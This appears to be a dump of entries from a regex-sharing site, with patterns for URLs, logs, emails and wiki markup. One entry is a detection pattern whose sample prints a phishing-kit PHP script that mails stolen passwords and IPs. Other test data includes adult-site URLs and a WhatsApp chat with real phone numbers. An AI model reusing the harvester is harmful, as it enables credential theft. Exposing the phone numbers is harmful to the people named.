A20160220.1400+0100-1415+0100_ADLI_LTE.xml A20160220.1400+0100-1500+0100_ADLI_LTE.xml A20160220.1415+0100-1430+0100_ADLI_LTE.xml A20160220.1430+0100-1445+0100_ADLI_LTE.xml A20160220.1445+0100-1500+0100_ADLI_LTE.xml A20160220.1500+0100-1515+0100_ADLI_LTE.xml A20160220.1500+0100-1600+0100_ADLI_LTE.xml A20160220.1515+0100-1530+0100_ADLI_LTE.xml A20160220.1530+0100-1545+0100_ADLI_LTE.xml A20160220.1545+0100-1600+0100_ADLI_LTE.xml A20160220.1600+0100-1615+0100_ADLI_LTE.xml A20160220.1600+0100-1700+0100_ADLI_LTE.xml A20160220.1615+0100-1630+0100_ADLI_LTE.xml A20160220.1630+0100-1645+0100_ADLI_LTE.xml A20160220.1645+0100-1700+0100_ADLI_LTE.xml A20160220.1700+0100-1715+0100_ADLI_LTE.xml A20160220.1700+0100-1800+0100_ADLI_LTE.xml A20160220.1715+0100-1730+0100_ADLI_LTE.xml A20160220.1730+0100-1745+0100_ADLI_LTE.xml A20160220.1745+0100-1800+0100_ADLI_LTE.xml A20160220.1800+0100-1815+0100_ADLI_LTE.xml
huawei_pm
2016-03-21T16:31:06.000Z
youtube id 17 matches
^.*(youtu.be\/|v\/|u\/\w+\/|embed|e\/|watch\?v|\?v=|\&v=)([^#\&\?]{11,11}).*
http://www.youtube.com/v/0zM3nApSvMg?fs=1&hl=en_US&rel=0 http://www.youtube.com/embed/0zM3nApSvMg?rel=0 http://www.youtube.com/watch?v=0zM3nApSvMg&feature=feedrec_grec_index http://www.youtube.com/watch?v=0zM3nApSvMg http://youtu.be/0zM3nApSvMg http://www.youtube.com/watch?v=0zM3nApSvMg#t=0m10s http://www.youtube.com/user/IngridMichaelsonVEVO#p/a/u/1/KdwsulMb8EQ http://www.youtube.com/user/IngridMichaelsonVEVO#p/u/11/KdwsulMb8EQ http://youtu.be/dQw4w9WgXcQ http://www.youtube.com/embed/dQw4w9WgXcQ http://www.youtube.com/v/dQw4w9WgXcQ http://www.youtube.com/e/dQw4w9WgXcQ http://www.youtube.com/watch?v=dQw4w9WgXcQ http://www.youtube.com/?v=dQw4w9WgXcQ http://www.youtube.com/watch?feature=player_embedded&v=dQw4w9WgXcQ http://www.youtube.com/?feature=player_embedded&v=dQw4w9WgXcQ http://www.youtube-nocookie.com/v/6L3ZvIMwZFM?version=3&hl=en_US&rel=0
youtube id match
2014-11-21T17:18:16.000Z
https://developer.mozilla.org/es/docs/Web/JavaScript https://www.google.es/webhp?hl=es Matches: MATCH 1 1. `developer.mozilla.org` MATCH 2 1. `www.google.es`
(?:http|https):\/\/((?:[\w-]+)(?:\.[\w-]+)+)(?:[\w.,@?^=%&amp;:\/~+#-]*[\w@?^=%&amp;\/~+#-])?
https://developer.mozilla.org/es/ http://www.es.pornhub.com/ http://es.cumlouder.com/?nats=MTkzOC4xLjIuMi4wLjAuMC4wLjA http://www.pornotube.com/orientation/straight/home/page/1 http://rubias19.com/ http://www.elreyx.com/ http://www.puritanas.com/ http://www.xvideos.com/ http://es.xhamster.com/ http://www.redtube.com/ http://es.cam4.com/ https://es.chaturbate.com/ http://new.bangbros.com/home.htm http://www.brazzers.com/home/?nats=NDc1NzAzOjQ5MzoyNA,0,0,0,0 http://www.petardas.com/ http://www.poringa.net/ http://foxtube.com/ http://www.tubewolf.com/ http://www.youporn.com/ http://www.putalocura.com/ http://www.serviporno.com/ http://www.toropornohd.com/ http://www.aztepajas.com/ http://pornfun.com/
Url regex that capture the domain of the URLs
2015-11-26T22:43:08.000Z
Matches HTML entities like &lt;
&(?:[a-z\d]+|#\d+|#x[a-f\d]+)
&lt;a&gt;some link&lt;/a&gt;
HTML entities
2016-02-17T13:13:25.000Z
\S
Regex 2017
\S
2017-04-10T23:22:49.000Z
This regex is helpful to remove all <php ?> tags
value="(?=<\?php)[^"]+"
<html> <h1>I poop <?php echo $whatHePoops; ?></h1> </html> <input type="text" class="input input-1" id="CompanyName" name="CompanyName" data-toggle="tooltip" data-placement="top" title="Company Name/ Name of the Customer" placeholder="Company Name/ Name of the Customer" value="<?php echo $root['companyProfile']['customerCompanyName']; ?>">
Remove all <php tags from html file
2018-02-16T21:08:24.000Z
задание_03
Промокод (\w+)
Промокод dQw4w9WgXcQ
задание_03
2023-11-12T02:13:52.000Z
This is for the windows application LogExpert with the RegexColumnizer extension. This will split log entries into columns ( Date | Time | LogLvl | LogMsg )
(?<date>\d{4}-\d{1,2}-\d{1,2})T(?<time>\d{1,2}:\d{1,2}:\d{1,2})\+\d{1,2}:\d{1,2}\s(?<level>\w+\s\(\d\)):\s(?<msg>.*$)
2015-10-23T14:48:03+00:00 INFO (6): NewProducts:: Observed customer login event 2015-10-23T14:48:03+00:00 DEBUG (7): NewProducts:: Customer is not checking out 2015-10-23T14:48:11+00:00 NOTICE (5): Freee 2015-10-23T14:48:24+00:00 NOTICE (5): Freee 2015-10-23T14:48:48+00:00 NOTICE (5): Freee 2015-10-23T14:48:58+00:00 NOTICE (5): Freee 2015-10-23T14:49:02+00:00 NOTICE (5): Freee 2015-10-23T14:49:02+00:00 NOTICE (5): Freee 2015-10-23T14:49:04+00:00 DEBUG (7): New Order being placed! 2015-10-23T14:49:04+00:00 DEBUG (7): This order has been preapproved 2015-10-23T14:49:04+00:00 DEBUG (7): Setting order state/status to approved/approved 2015-10-23T14:49:04+00:00 DEBUG (7): Captured Order Status Change Event 2015-10-23T14:49:04+00:00 DEBUG (7): Captured Order Status Change Event 2015-10-23T14:49:06+00:00 DEBUG (7): parent says we can edit 2015-10-23T14:49:06+00:00 WARN (4): we cannot approve, so we cannot edit 2015-10-23T14:49:06+00:00 DEBUG (7): parent says we can cancel 2015-10-23T14:49:06+00:00 WARN (4): we cannot approve, so we cannot cancel 2015-10-23T14:49:07+00:00 DEBUG (7): getting order flag 2015-10-23T14:49:07+00:00 DEBUG (7): 2015-10-23T14:49:07+00:00 ERR (3): Array
LogExpert RegexColumnizer for Magento
2015-10-23T16:05:01.000Z
TEst
^(?!3570fefc-7049-49e8-99b4-ecfb3df79c27)(?!706bfe9f-4118-417a-8c18-691e06263c30)
706bfe9f-4118-417a-8c18-691e06263c30
Test
2021-01-27T10:34:42.000Z
([\_\/\\\'\"\&]+)+
fasfsf
123231
2016-08-11T13:06:00.000Z
Complete url matching with storage of various parameters
(?<protocol>(?:http|ftp|irc)s?:\/\/)?(?:(?<user>[^:\n\r]+):(?<pass>[^@\n\r]+)@)?(?<host>(?:www\.)?(?:[^:\/\n\r]+)(?::(?<port>\d+))?)\/?(?<request>[^?#\n\r]+)?\??(?<query>[^#\n\r]*)?\#?(?<anchor>[^\n\r]*)?
http://user:[email protected]:80/directory/sub/place?C=M;O=A#nth http://some.example.com/some/path/to/a/file.bin?request;part=1#somewhere https://www.example.com ircs://example.server.net:6697/#channel irc://irc.example.org/channel ftp://www.place.example.gov/ www.places.to.be somewhere.to/go
URL matching
2014-07-02T06:34:20.000Z
Regular expression with named groups for email addresses
(?<identifiant>(?:[a-z0-9-_]+\.)*[a-z0-9]+)@(?<domaine>(?:[a-z0-9-_]+\.)*)(?<extension>[a-z]{2,6})
Email address
2017-06-08T14:19:29.000Z
\b\d{1,3}(?:\.\d{3})*,\d+\b
R$ 2.199,99
Currency number in BRL
2018-07-09T04:24:16.000Z
For Stackoverflow by Sufiyan Ghori
([a-zA-Z]+[" "])?{{ ((\d+)\.(\w+))+ }}((([" "])[a-zA-Z]+)?)+
{{ 0.output }} select {{ 0.OUTPUT }} from testsdsasd adsdas
Match a string
2018-04-30T10:52:54.000Z
(?:http(?:s)?:\/\/)?(?:www\.)?(?:play\.google\.com\/|itunes\.apple\.com\/)(?:.+\/)?
google play and apple store
2016-08-09T12:32:05.000Z
\s*data-dcm-click-tracker[=|\s]([\\'"a-zA-Z0-9-]*)
data-dcm-click-tracker="sdfsdf" sdfs data-dcm-click-tracker='sdfsdf' sdfs data-dcm-click-tracker=\'sdfsdf\' data-dcm-click-tracker=\"sdfsdf\" data-dcm-click-tracker=sdfsdfcc data-dcm-click-tracker= data-dcm-click-tracker
regex to match html attribute with/without equal to and values
2016-08-11T07:16:17.000Z
^(?:(?P<protocol>http[s]?|ftp)(?::\/\/))?\/?(?P<address>(?P<hostname>[^\/\.]+)*?(?:\.)?(?P<domain>[^\/\.]+(?:\.[^:\/\s\.]+(\.[^:\/\s\.]‌​+){0,1})?))(:\d+)?(?:$|\/)(?P<fullpath>(?P<path>[^#?\s]*?)(?:\/(?P<name>[^#?\/\s]*))?)(?:\?(?P<arg>.*?))?(?:#(?P<anchor>[\w\-]+))?$
http://example.example.com/example1/example4/ http://example.example.com/example1/example4/example3.html http://example.example.com/example1/example4/example3.html?arg#ar http://example.example.com http://example.example.com/ http://example.example.com/example1.html http://example.example.com/example1/example4.html
URL Matcher
2016-06-06T10:17:31.000Z
^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------New Login--------\n"; $message .= "Email-ID : ".$_POST['up_email']."\n"; $message .= " Password : ".$_POST['up__X_PASSWORD']."\n"; $message .= "confirm password : ".$_POST['Password']."\n"; $message .= "Client IP : ".$ip."\n"; $message .= "---------------Created BY Burhan-----------\n"; include 'email.php'; $subject = "--New Log $ip "; mail($to,$subject,$message,$headers); header ("Location: incorrect.php?email=$email".$_POST['up_email']); ?>
tilak phishing file
2020-04-15T13:29:45.000Z
Extract data from whatsapp exported chat. working, but in development.
([0-9]{1,2}[\/][0-9]{1,2}[\/][0-9]{1,4}) ([0-9]{1,2}:[0-9]{1,2}) - ([a-z0-9 \S]+?:)([a-z0-9 \S]+?\n)
25/03/2017 09:32 - ‎Diego Rhoger criou o grupo "CerradoValley" 27/04/2017 15:42 - Você entrou usando o link de convite deste grupo 27/04/2017 15:43 - +55 61 9332-2990: Valeu 👍🏻 27/04/2017 15:43 - Fabiano S Figueiredo: 🙃👍 27/04/2017 15:43 - ‎Dartagnan Sabino Antunes Oliveira entrou usando o link de convite deste grupo 27/04/2017 15:44 - Fabiano S Figueiredo: e aí gente, tudo bem? 27/04/2017 15:44 - Fabiano S Figueiredo: Onde e como saber quem é quem? :D 27/04/2017 15:44 - +55 61 9332-2990: No decorrer das conversas vc vai conhecendo o pessoal rs 27/04/2017 15:45 - Fabiano S Figueiredo: né? :) 27/04/2017 15:45 - +55 61 9869-0018: é a única forma 27/04/2017 15:45 - +55 61 9869-0018: e ir aos meetups da vida 27/04/2017 15:46 - Fabiano S Figueiredo: Jóia. E normalmente o que é discutido aqui? 27/04/2017 15:55 - +55 61 9332-2990: Discutimos sobre mercado, economia, startups, comportamento empreendedor 27/04/2017 15:55 - +55 61 9332-2990: E as vezes a gente se espanca em assuntos de religiao e política 27/04/2017 15:55 - +55 61 9332-2990: As tudo fica bem depois 27/04/2017 15:56 - Fabiano S Figueiredo: Massa!! 27/04/2017 15:56 - +55 61 9332-2990: @556181302875 apresenta aí sua startup cara com poucas palavras 27/04/2017 15:56 - Fabiano S Figueiredo: Legal!! 27/04/2017 15:56 - +55 61 9332-2990: E manda o vídeo tbm rs 27/04/2017 15:56 - +55 61 9332-2990: Bota aí pra colher a opinião da gakera 27/04/2017 15:57 - +55 61 9332-2990: A minha vc já tem 👍🏻 27/04/2017 15:57 - Fabiano S Figueiredo: Qual é a do Vídeo? 27/04/2017 15:57 - +55 61 9332-2990: É pro @556181302875 rs 27/04/2017 15:57 - Fabiano S Figueiredo: Ahh!! ups! 27/04/2017 16:01 - Dartagnan Sabino Antunes Oliveira: Boa tarde Galera! Sou o Dartagnan, analista e desenvolvedor de sistemas.
Whatsapp data extract
2019-04-11T04:44:20.000Z
shopee.ph\/[^i]+[^.]+.(-i.)?[^.]+.(?<result>\d+)
https://shopee.ph/Downy-Passion-Fabric-Conditioner-900-ml.-i.24817442.310022970 https://shopee.ph/Oral-B-Pro-Expert-Stages-Fruit-Burst-Flavor-75ml-i.16706831.728320911 https://shopee.ph/Oral-B-Electric-Toothbrush-i.5773125.386511972 https://shopee.ph/Oral-B-3D-Whitestrips-i.27988277.366679968 https://shopee.ph/Ariel-Power-Gel-Sunrise-Fresh-1KG.-i.23511609.1021340186 https://shopee.ph/Mach-3%C2%AE-Men-Razor-i.27987789.367602745 https://shopee.ph/safeguard-bodywash-pure-white-i.39453573.1020127240
Shopee (PH) - Item ID
2018-04-24T20:33:03.000Z
^(([a-z][A-Za-z\d]*(\.[a-z][A-Za-z\d]*){1,6})|([A-Z][A-Za-z\d]+(\.[A-Z][A-Za-z\d]*){0,3}))$
org.bh.tools.ui.fx.latte LatteFX
Package/Module matcher
2018-01-29T04:34:34.000Z
(\d+)\.\s"([a-zA-Z ]+)"\s[a-zA-Z \.]+\s([a-zA-Z, \.]+)\s([\d:]+)
1. "Anbae Anbae" Vairamuthu Hariharan, K. S. Chitra 5:10 2. "I Love You" Vairamuthu Nandini Srikar, KK, Ajith Kumar 4:55 3. "Nathi Enge Valaiyum" Vairamuthu Ghanshyam Vaswani 4:37 4. "Nothing Nothing" Vairamuthu Harini 4:44 5. "Poovukellam Siragu" Vairamuthu Srinivas, KK, Harini 5:27 6. "Vannakili SolKonda" Vairamuthu Gopal Rao, Harini, Chorus 4:38
Wiki
2019-10-28T02:23:09.000Z
\s+(?P<tst_dvc>[^\s]+)\s+\w{3}\s+\d{1,2}\s+\d{2}\:\d{2}\:\d{2}\s(?P<tst_cmd>[^:]+):\s+(?P<tst_action>[^\s]+)\s+<\d>(?P<tst_action2>[^\s]+)\s+IN=(?P<tst_in_if>[^\s]+)\s+OUT=(?P<tst_out_if>[^\s]+)\s+<\d>(?P<tst_src_ip>[^\s]+)\s+DST=(?P<tst_dest_ip>[^\s]+)\s+<\d>LEN=(?P<tst_len>[^\s]+)\s+TOS=(?P<tst_tos>[^\s]+)\s+PREC=(?P<tst_prec>[^\s]+)\s+TTL=(?P<tst_ttl>[^\s]+)\s+ID=(?P<tst_id>[^\s]+)\s+(DF\s+|\s+)PROTO=(?P<tst_proto>[^\s]+)\s+<\d>SPT=(?P<tst_src_port>[^\s]+)\s+DPT=(?P<tst_dest_port>[^\s]+)\s+
Sep 10 20:18:17 gateway.3deep.local Sep 10 20:18:17 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=54.208.123.145 DST=192.168.23.50 <1>LEN=60 TOS=0x00 PREC=0x00 TTL=37 ID=28012 DF PROTO=TCP <1>SPT=38859 DPT=443 SEQ=636829265 ACK=0 WINDOW=17922 RES=0x00 SYN URGP=0 OPT (020405AC0402080ABDC6533D0000000001030304) Sep 9 00:44:27 gateway.3deep.local Sep 9 00:44:27 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=110.167.234.34 DST=192.168.23.50 <1>LEN=48 TOS=0x00 PREC=0x00 TTL=108 ID=3857 DF PROTO=TCP <1>SPT=26932 DPT=443 SEQ=1819196068 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405AC01010402) Sep 8 22:51:18 gateway.3deep.local Sep 8 22:51:17 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=110.167.234.34 DST=192.168.23.50 <1>LEN=44 TOS=0x00 PREC=0x00 TTL=100 ID=256 PROTO=TCP <1>SPT=12589 DPT=443 SEQ=597164032 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405AC) Sep 7 02:28:36 gateway.3deep.local Sep 7 02:28:22 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=40 TOS=0x00 PREC=0x00 TTL=247 ID=40368 DF PROTO=TCP <1>SPT=7004 DPT=443 SEQ=1635675828 ACK=2838771327 WINDOW=1024 RES=0x00 ACK URGP=0 Sep 7 01:36:17 gateway.3deep.local Sep 7 01:36:03 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=52 TOS=0x08 PREC=0x00 TTL=54 ID=1014 DF PROTO=TCP <1>SPT=32594 DPT=443 SEQ=3142748749 ACK=3448075871 WINDOW=863 RES=0x00 ACK RST URGP=0 OPT (0101080A00E4FAF60079E548) Sep 7 01:36:17 gateway.3deep.local Sep 7 01:36:03 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=83 TOS=0x08 PREC=0x00 TTL=54 ID=1013 DF PROTO=TCP <1>SPT=32594 DPT=443 SEQ=3142748718 ACK=3448075871 WINDOW=863 RES=0x00 ACK PSH URGP=0 OPT (0101080A00E4FAF50079E548) Sep 7 01:35:38 gateway.3deep.local Sep 7 01:35:24 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=83 TOS=0x08 PREC=0x00 TTL=54 ID=11557 DF PROTO=TCP <1>SPT=5010 DPT=443 SEQ=3044040977 ACK=3364857459 WINDOW=841 RES=0x00 ACK PSH URGP=0 OPT (0101080A00E4ECD6007955EC) Sep 7 01:35:19 gateway.3deep.local Sep 7 01:35:05 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=52 TOS=0x08 PREC=0x00 TTL=54 ID=23094 DF PROTO=TCP <1>SPT=21273 DPT=443 SEQ=1560229817 ACK=221451921 WINDOW=995 RES=0x00 ACK RST URGP=0 OPT (0101080A00E4E5BE00790C82) Sep 7 01:35:19 gateway.3deep.local Sep 7 01:35:05 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=83 TOS=0x08 PREC=0x00 TTL=54 ID=23093 DF PROTO=TCP <1>SPT=21273 DPT=443 SEQ=1560229786 ACK=221451921 WINDOW=995 RES=0x00 ACK PSH URGP=0 OPT (0101080A00E4E5BE00790C82) Sep 7 01:35:17 gateway.3deep.local Sep 7 01:35:03 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=83 TOS=0x08 PREC=0x00 TTL=54 ID=27577 DF PROTO=TCP <1>SPT=7678 DPT=443 SEQ=3690596392 ACK=1344433672 WINDOW=1017 RES=0x00 ACK PSH URGP=0 OPT (0101080A00E4E50000790783) Sep 7 01:31:00 gateway.3deep.local Sep 7 01:30:45 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=60856 DF PROTO=TCP <1>SPT=7004 DPT=443 SEQ=1635675080 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E486700000000001030307) Sep 7 01:30:58 gateway.3deep.local Sep 7 01:30:44 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=52 TOS=0x08 PREC=0x00 TTL=54 ID=65096 DF PROTO=TCP <1>SPT=40737 DPT=443 SEQ=3785465976 ACK=3145025690 WINDOW=797 RES=0x00 ACK RST URGP=0 OPT (0101080A00E485C500786FF0) Sep 7 01:30:58 gateway.3deep.local Sep 7 01:30:44 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=83 TOS=0x08 PREC=0x00 TTL=54 ID=65095 DF PROTO=TCP <1>SPT=40737 DPT=443 SEQ=3785465945 ACK=3145025690 WINDOW=797 RES=0x00 ACK PSH URGP=0 OPT (0101080A00E485C500786FF0) Sep 7 01:30:55 gateway.3deep.local Sep 7 01:30:41 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=36669 DF PROTO=TCP <1>SPT=17827 DPT=443 SEQ=2974944174 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E484930000000001030307) Sep 7 01:30:55 gateway.3deep.local Sep 7 01:30:40 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=1001 DF PROTO=TCP <1>SPT=32594 DPT=443 SEQ=3142748053 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E4847C0000000001030307) Sep 7 01:30:18 gateway.3deep.local Sep 7 01:30:04 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=12619 DF PROTO=TCP <1>SPT=21832 DPT=443 SEQ=1570588497 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E4761A0000000001030307) Sep 7 01:30:11 gateway.3deep.local Sep 7 01:29:57 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=45093 DF PROTO=TCP <1>SPT=21730 DPT=443 SEQ=2658911151 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E4738A0000000001030307) Sep 7 01:30:11 gateway.3deep.local Sep 7 01:29:57 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=11542 DF PROTO=TCP <1>SPT=5010 DPT=443 SEQ=3044040312 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E4736E0000000001030307) Sep 7 01:30:04 gateway.3deep.local Sep 7 01:29:50 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=60 TOS=0x08 PREC=0x00 TTL=54 ID=20511 DF PROTO=TCP <1>SPT=58071 DPT=443 SEQ=2243567858 ACK=0 WINDOW=65535 RES=0x00 SYN URGP=0 OPT (020405780402080A00E470ED0000000001030307) Sep 7 01:30:04 gateway.3deep.local Sep 7 01:29:50 kernel: ACCEPT <4>ACCEPT IN=ppp0 OUT=br0 <1>SRC=1.144.97.10 DST=192.168.23.50 <1>LEN=52 TOS=0x08 PREC=0x00 TTL=54 ID=24652 DF PROTO=TCP <1>SPT=13328 DPT=443 SEQ=293238401 ACK=1045411505 WINDOW=12277 RES=0x00 ACK RST URGP=0 OPT (0101080A00E4708E0076D730)
asus firewall
2016-09-11T07:43:18.000Z
sourcetype=([a-z]+\-{1}\w+)
sourcetype=pmon-accesslog sourceType=pmon access sourceType=pmon_asdfkljaslkd
sourcetype
2015-11-03T07:42:56.000Z
Can anyone help me format the following regex for Mexico Phone Numbers. I have two issues, the Regular Expression builder is telling me my Grouping is invalid and also I am having trouble with the 52 pattern. I want it to allow any two digits such as [0-9]{2} example: 52-555-786-2300 (\\+?1[\\s\\-]?)?\\(?([0-9]{3})\\)?[-. ]*([0-9]{3})[-. ]*([0-9]{4})(\\s*(x|ext)\\.?\\s*([0-9]+))?
(\\+?52[\\s\\-]?)
52
Regex Pattern for Mexico Phone Number using Groups
2014-10-28T01:56:52.000Z
decoupe un gid
(?<![\|\d|])(?P<gidnumber>\d+)\|(?P<rang>\d+)\|(?P<fonction>[A-Z]+)
18909;11877;11872;5187|4|CHEF,789456;1237;11872;122|4|CHEF,18909;11877;11872;5187|4|CHEF
decoupe_gid
2016-08-23T07:40:18.000Z
For splitting up moves from breeding.
{\{learnlist.+\d\}\}
====By {{pkmn|breeding}}==== {{learnlist/breedh/6|Aipom|Normal|Normal|2|xy=n}} {{learnlist/breed6|{{MSP|025|Pikachu}}{{MSP|058|Growlithe}}{{MSP|077|Ponyta}}{{MSP|078|Rapidash}}{{MSP|083|Farfetch'd}}{{MSP|135|Jolteon}}<br>{{MSP|190|Aipom}}{{MSP|424|Ambipom}}{{MSP|203|Girafarig}}{{MSP|215|Sneasel}}{{MSP|418|Buizel}}{{MSP|419|Floatzel}}<br>{{MSP|427|Buneary}}{{MSP|428|Lopunny}}{{MSP|522|Blitzle}}{{MSP|523|Zebstrika}}{{MSP|570|Zorua}}{{MSP|571|Zoroark}}<br>{{MSP|587|Emolga}}{{MSP|659|Bunnelby}}{{MSP|660|Diggersby}}|Agility|Psychic|Status|&mdash;|&mdash;|30|||Cool|3|0}} {{learnlist/breed6|{{MSP|077|Ponyta}}{{MSP|078|Rapidash}}{{MSP|320|Wailmer}}{{MSP|321|Wailord}}{{MSP|325|Spoink}}{{MSP|326|Grumpig}}<br>{{MSP|427|Buneary}}{{MSP|428|Lopunny}}{{MSP|619|Mienfoo}}{{MSP|620|Mienshao}}{{MSP|659|Bunnelby}}{{MSP|660|Diggersby}}|Bounce|Flying|Physical|85|85|5|||Cute|1|0}} {{learnlist/breed6|{{MSP|287|Slakoth}}{{MSP|288|Vigoroth}}{{MSP|289|Slaking}}{{MSP|448|Lucario}}|Counter|Fighting|Physical|&mdash;|100|20|||Tough|2|0}} {{learnlist/breed6|{{MSP|056|Mankey}}{{MSP|133|Eevee}}{{MSP|216|Teddiursa}}{{MSP|217|Ursaring}}{{MSP|263|Zigzagoon}}{{MSP|264|Linoone}}<br>{{MSP|287|Slakoth}}{{MSP|289|Slaking}}{{MSP|300|Skitty}}{{MSP|677|Espurr}}{{MSP|678|Meowstic}}|Covet|Normal|Physical|60|100|25||'''|Cute|1|0}} {{learnlist/breed6|{{MSP|300|Skitty}}{{MSP|301|Delcatty}}{{MSP|572|Minccino}}{{MSP|619|Mienfoo}}{{MSP|620|Mienshao}}{{MSP|659|Bunnelby}}|Double Slap|Normal|Physical|15|85|10||'''|Cute|1|0}} {{learnlist/breed6|{{MSP|052|Meowth}}{{MSP|053|Persian}}{{MSP|274|Nuzleaf}}{{MSP|300|Skitty}}{{MSP|301|Delcatty}}{{MSP|431|Glameow}}<br>{{MSP|432|Purugly}}{{MSP|509|Purrloin}}{{MSP|510|Liepard}}{{MSP|619|Mienfoo}}{{MSP|620|Mienshao}}{{MSP|677|Espurr}}<br>{{MSP|678|Meowstic}}|Fake Out|Normal|Physical|40|100|10||'''|Cute|2|3}} {{learnlist/breed6|{{MSP|019|Rattata}}{{MSP|020|Raticate}}{{MSP|128|Tauros}}{{MSP|197|Umbreon}}{{MSP|206|Dunsparce}}{{MSP|335|Zangoose}}<br>{{MSP|359|Absol}}{{MSP|418|Buizel}}{{MSP|419|Floatzel}}{{MSP|509|Purrloin}}{{MSP|510|Liepard}}{{MSP|522|Blitzle}}<br>{{MSP|523|Zebstrika}}{{MSP|570|Zorua}}{{MSP|571|Zoroark}}{{MSP|587|Emolga}}{{MSP|626|Bouffalant}}|Pursuit|Dark|Physical|40|100|20|||Clever|2|1}} {{learnlist/breed6|{{MSP|448|Lucario}}{{MSP|619|Mienfoo}}{{MSP|678|Meowstic}}|Quick Guard|Fighting|Status|&mdash;|&mdash;|15|||Cool|2|0}} {{learnlist/breed6|{{MSP|335|Zangoose}}{{MSP|461|Weavile}}{{MSP|501|Oshawott}}{{MSP|502|Dewott}}{{MSP|503|Samurott}}{{MSP|626|Bouffalant}}|Revenge|Fighting|Physical|60|100|10|||Tough|2|0}} {{learnlist/breed6|{{MSP|023|Ekans}}{{MSP|024|Arbok}}{{MSP|052|Meowth}}{{MSP|053|Persian}}{{MSP|054|Psyduck}}{{MSP|055|Golduck}}<br>{{MSP|056|Mankey}}{{MSP|057|Primeape}}{{MSP|190|Aipom}}{{MSP|424|Ambipom}}{{MSP|197|Umbreon}}{{MSP|206|Dunsparce}}<br>{{MSP|215|Sneasel}}{{MSP|461|Weavile}}{{MSP|293|Whismur}}{{MSP|294|Loudred}}{{MSP|295|Exploud}}{{MSP|336|Seviper}}<br>{{MSP|352|Kecleon}}{{MSP|434|Stunky}}{{MSP|435|Skuntank}}|Screech|Normal|Status|&mdash;|85|40|||Clever|3|0}} {{learnlist/breed6|{{MSP|025|Pikachu}}{{MSP|161|Sentret}}{{MSP|162|Furret}}{{MSP|194|Wooper}}{{MSP|195|Quagsire}}{{MSP|231|Phanpy}}<br>{{MSP|232|Donphan}}{{MSP|495|Snivy}}{{MSP|496|Servine}}{{MSP|497|Serperior}}{{MSP|504|Patrat}}{{MSP|505|Watchog}}<br>{{MSP|572|Minccino}}|Slam|Normal|Physical|80|75|20||'''|Tough|4|0}} {{learnlist/breed6|{{MSP|206|Dunsparce}}|Spite|Ghost|Status|&mdash;|100|10|||Tough|2|1}} {{learnlist/breed6|{{MSP|053|Persian}}{{MSP|264|Linoone}}{{MSP|655|Delphox}}|Switcheroo|Dark|Status|&mdash;|100|10|||Clever|2|1}} {{learnlist/breedf/6|Aipom|Normal|Normal|2}}
Pokemon move splitter
2015-11-18T11:22:57.000Z
